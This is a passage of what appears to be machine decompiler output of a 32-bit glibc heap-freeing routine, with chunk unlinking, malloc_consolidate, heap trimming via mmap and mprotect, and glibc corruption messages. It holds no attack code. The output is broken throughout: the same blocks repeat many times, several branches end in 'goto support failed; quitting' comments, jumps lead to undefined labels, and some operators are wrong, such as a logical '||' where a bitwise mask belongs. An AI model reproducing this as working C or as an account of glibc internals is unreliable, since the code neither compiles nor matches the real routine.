sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
} else {
// 0x80b39ce
v98 = v37;
// branch -> 0x80b39d0
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v76 = v42 - 1;
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v18 = v32;
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v18;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
} else {
// 0x80b3a09
v69 = v60 + v76 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
v18 = v97;
if (v97 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v18;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v98 + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b3928
v64 = g21;
g98 = v64;
v72 = v64 & 5;
g95 = v72;
if (v72 != 5) {
// 0x80b393c
if (v64 == 1) {
// 0x80b3945
// branch -> 0x80b3af1
} else {
// 0x80b3c2e
v28 = (int32_t)g2;
v45 = _itoa_word(v6, v28, 16, v28, v1);
g97 = v45;
v57 = v50;
if (g96 < v45) {
// 0x80b3c50
v55 = -v45;
v56 = -1 - g95;
g97 = -1 - (v56 < v55 ? v55 : v56);
v57 = (int32_t *)48;
// branch -> 0x80b3c5b
}
// 0x80b3c5b
if (*(int32_t *)g93 == 0) {
// 0x80b3ed3
// branch -> 0x80b3c6a
}
// 0x80b3c6a
v78 = g98 & 2;
g98 = v78;
__libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v57;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v32;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
v97 = v88 + v69;
if (v97 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v97;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)v37 + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3e68
v81 = v64 & 2;
g98 = v81;
__libc_message((int32_t *)v81, (struct struct_59 *)"%s\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
} else {
// 0x80b3af8
*v22 = *v22 & -2;
// branch -> 0x80b3951
}
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
}
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v76 = v42 - 1;
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v18 = v32;
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// 0x80b3a39
*(int32_t *)(g101 + 8) = v18;
v95 = (int32_t *)(v66 + 1100);
*v95 = *v95 - v41;
v96 = v41;
g67 -= v96;
*(int32_t *)((int32_t)(int32_t *)0x80b3b3c + 4) = v74 - v96 | 1;
// branch -> 0x80b3856
}
}
} else {
// 0x80b3a09
v69 = v60 + v76 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b38be
v62 = *(int32_t *)v59;
g102 = v58 + v62;
v48 = v59 - v62;
g101 = v48;
v83 = *(int32_t *)(v48 + 8);
v84 = *(int32_t *)(v48 + 12);
g97 = v84;
v33 = (int32_t *)(v83 + 12);
int32_t v129; // 0x80b39d0
if (v48 == *v33) {
// 0x80b3d85
if (v48 == *(int32_t *)(v84 + 8)) {
// 0x80b3d8e
*v33 = v84;
*(int32_t *)(g97 + 8) = v83;
v50 = v46;
// branch -> 0x80b38fc
// 0x80b38fc
if (v6 == *v19) {
// 0x80b3b04
v31 = g102 + v24;
g102 = v31;
*(int32_t *)(g101 + 4) = v31 | 1;
*(int32_t *)(v14 + 48) = g101;
v51 = v50;
// branch -> 0x80b3971
} else {
// 0x80b390b
if (*(char *)((v24 || 4) + v6) == 1) {
// 0x80b3919
v85 = *(int32_t *)(v5 + v2);
v39 = v85;
v86 = *(int32_t *)(v6 + 12);
g97 = v86;
v34 = (int32_t *)(v85 + 12);
if (v6 == *v34) {
// 0x80b3e00
if (v6 == *(int32_t *)(v86 + 8)) {
// 0x80b3e09
*v34 = v86;
*(int32_t *)(g97 + 8) = v39;
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v129 = *(int32_t *)(v87 + 4);
v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v76 = v42 - 1;
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b3a09
v69 = v60 + v76 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b3928
v64 = g21;
g98 = v64;
v72 = v64 & 5;
g95 = v72;
if (v72 != 5) {
// 0x80b393c
if (v64 == 1) {
// 0x80b3945
// branch -> 0x80b3af1
} else {
// 0x80b3c2e
v28 = (int32_t)g2;
v45 = _itoa_word(v6, v28, 16, v28, v1);
g97 = v45;
v57 = v50;
if (g96 < v45) {
// 0x80b3c50
v55 = -v45;
v56 = -1 - g95;
g97 = -1 - (v56 < v55 ? v55 : v56);
v57 = (int32_t *)48;
// branch -> 0x80b3c5b
}
// 0x80b3c5b
if (*(int32_t *)g93 == 0) {
// 0x80b3ed3
// branch -> 0x80b3c6a
}
// 0x80b3c6a
v78 = g98 & 2;
g98 = v78;
__libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v57;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = (int32_t *)v87;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v129 = *(int32_t *)(v87 + 4);
v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3e68
v81 = v64 & 2;
g98 = v81;
__libc_message((int32_t *)v81, (struct struct_59 *)"%s\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
} else {
// 0x80b3af8
*v22 = *v22 & -2;
// branch -> 0x80b3951
}
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
}
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v74 = *(int32_t *)(v87 + 4) & -8;
v75 = ((v67 - 17 + v74 - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v76 = v42 - 1;
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b3a09
v69 = v60 + v76 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b38d3
v63 = g21;
g98 = v63;
v71 = v63 & 5;
g95 = v71;
if (v71 != 5) {
// 0x80b38e7
if (v63 == 1) {
// 0x80b38f0
// branch -> 0x80b3af1
} else {
// 0x80b3bab
v27 = (int32_t)g2;
v44 = _itoa_word(v48, v27, 16, v27, v1);
g97 = v44;
v54 = v46;
if (g96 < v44) {
// 0x80b3bcc
v52 = -v44;
v53 = -1 - g95;
g97 = -1 - (v53 < v52 ? v52 : v53);
v54 = (int32_t *)48;
// branch -> 0x80b3bd7
}
// 0x80b3bd7
if (*(int32_t *)g93 == 0) {
// 0x80b3eab
// branch -> 0x80b3be6
}
// 0x80b3be6
v77 = g98 & 2;
g98 = v77;
__libc_message((int32_t *)v77, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
v50 = v54;
// branch -> 0x80b38fc
// 0x80b38fc
if (v6 == *v19) {
// 0x80b3b04
v31 = g102 + v24;
g102 = v31;
*(int32_t *)(g101 + 4) = v31 | 1;
*(int32_t *)(v14 + 48) = g101;
v51 = v50;
// branch -> 0x80b3971
} else {
// 0x80b390b
if (*(char *)((v24 || 4) + v6) == 1) {
// 0x80b3919
v85 = *(int32_t *)(v5 + v2);
v86 = *(int32_t *)(v6 + 12);
g97 = v86;
v34 = (int32_t *)(v85 + 12);
if (v6 == *v34) {
// 0x80b3e00
if (v6 == *(int32_t *)(v86 + 8)) {
// 0x80b3e09
*v34 = v86;
*(int32_t *)(g97 + 8) = v85;
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v37 = (int32_t *)v87;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = v37;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v129 = *(int32_t *)(v87 + 4);
v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67;
v41 = v75;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v76 = v42 - 1;
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v41, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b3a09
v69 = v60 + v76 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// 0x80b3928
v64 = g21;
g98 = v64;
v72 = v64 & 5;
g95 = v72;
if (v72 != 5) {
// 0x80b393c
if (v64 == 1) {
// 0x80b3945
// branch -> 0x80b3af1
} else {
// 0x80b3c2e
v28 = (int32_t)g2;
v45 = _itoa_word(v6, v28, 16, v28, v1);
g97 = v45;
v57 = v50;
if (g96 < v45) {
// 0x80b3c50
v55 = -v45;
v56 = -1 - g95;
g97 = -1 - (v56 < v55 ? v55 : v56);
v57 = (int32_t *)48;
// branch -> 0x80b3c5b
}
// 0x80b3c5b
if (*(int32_t *)g93 == 0) {
// 0x80b3ed3
// branch -> 0x80b3c6a
}
// 0x80b3c6a
v78 = g98 & 2;
g98 = v78;
__libc_message((int32_t *)v78, (struct struct_59 *)"*** glibc detected *** %s: %s: 0x%s ***\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v57;
// branch -> 0x80b3971
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
if ((*(int32_t *)(g82 + 4) & -8) >= g70) {
// 0x80b3c1a
g97 = 0x8139c40;
g95 = g71;
sYSTRIm(v1, v51, (char *)0x8139c40);
// branch -> 0x80b3856
}
} else {
// 0x80b3997
v68 = *v19 & -0x100000;
g101 = v68;
v65 = g71;
v66 = *(int32_t *)v68;
v67 = g76;
v36 = (int32_t *)(v66 + 48);
v87 = *v36;
v47 = (struct struct_59 *)v68;
if (v87 == (v68 || 16)) {
// 0x80b3c87
v38 = (int32_t *)(v66 + 1100);
v29 = (int32_t)g2;
v92 = (int32_t *)v87;
v70 = v68;
// branch -> 0x80b3cba
while (true) {
// 0x80b3cba
v89 = *(int32_t *)(v70 + 4);
g101 = v89;
v90 = *(int32_t *)(v89 + 8);
v79 = v90 + v89 - 8;
v49 = v79 - *(int32_t *)v79;
v91 = *(int32_t *)(v49 + 4);
v26 = v91 + 8 & -8;
if (v91 == 1) {
goto lab_0x7501a00;
}
v61 = v26;
goto lab_0x7502f20;
}
}
// 0x80b39d0
v129 = *(int32_t *)(v87 + 4);
v75 = ((v67 - 17 + (v129 & -8) - v65) / v67 - 1) * v67;
if (v75 >= v67) {
// 0x80b39f7
v42 = getpagesize();
v60 = -v75;
if (v60 < 0) {
// 0x80b3b17
v32 = *(int32_t *)(g101 + 8) + v60;
if (v32 >= 16) {
// 0x80b3b25
v30 = (int32_t)g2;
v43 = mmap((int32_t *)((int32_t)v47 + v32), v75, v30, 50, -1, v30);
if ((int32_t)v43 != -1) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
} else {
// 0x80b3a09
v69 = v60 + v42 - 1 & -v42;
v88 = *(int32_t *)(g101 + 8);
if (v88 + v69 <= 0x100000) {
// 0x80b3a22
if (mprotect((int32_t *)((int32_t)v47 + v88), v69, 3) == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b3af1
abort();
// UNREACHABLE
}
// 0x80b3e68
v81 = v64 & 2;
g98 = v81;
__libc_message((int32_t *)v81, (struct struct_59 *)"%s\n");
// branch -> 0x80b394e
// 0x80b394e
g102 += v24;
// branch -> 0x80b3951
} else {
// 0x80b3af8
*v22 = *v22 & -2;
// branch -> 0x80b3951
}
// 0x80b3951
v35 = (int32_t *)(v14 + 64);
v40 = *v35;
*(int32_t *)(g101 + 12) = v14 + 56;
*(int32_t *)(g101 + 8) = v40;
*v35 = g101;
*(int32_t *)(v40 + 12) = g101;
v73 = g102 | 1;
g98 = v73;
*(int32_t *)(g101 + 4) = v73;
v82 = g102;
*(int32_t *)(v82 + g101) = v82;
v51 = v50;
// branch -> 0x80b3971
}
// 0x80b3971
if (g102 < 0x10000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b397d
g95 = v14;
if (*(char *)v15 == 1) {
// 0x80b3b4c
malloc_consolidate(v1, v51);
// branch -> 0x80b398a
}
// 0x80b398a
if (a1 == (char *)0x8139c40) {
// 0x80b3c03
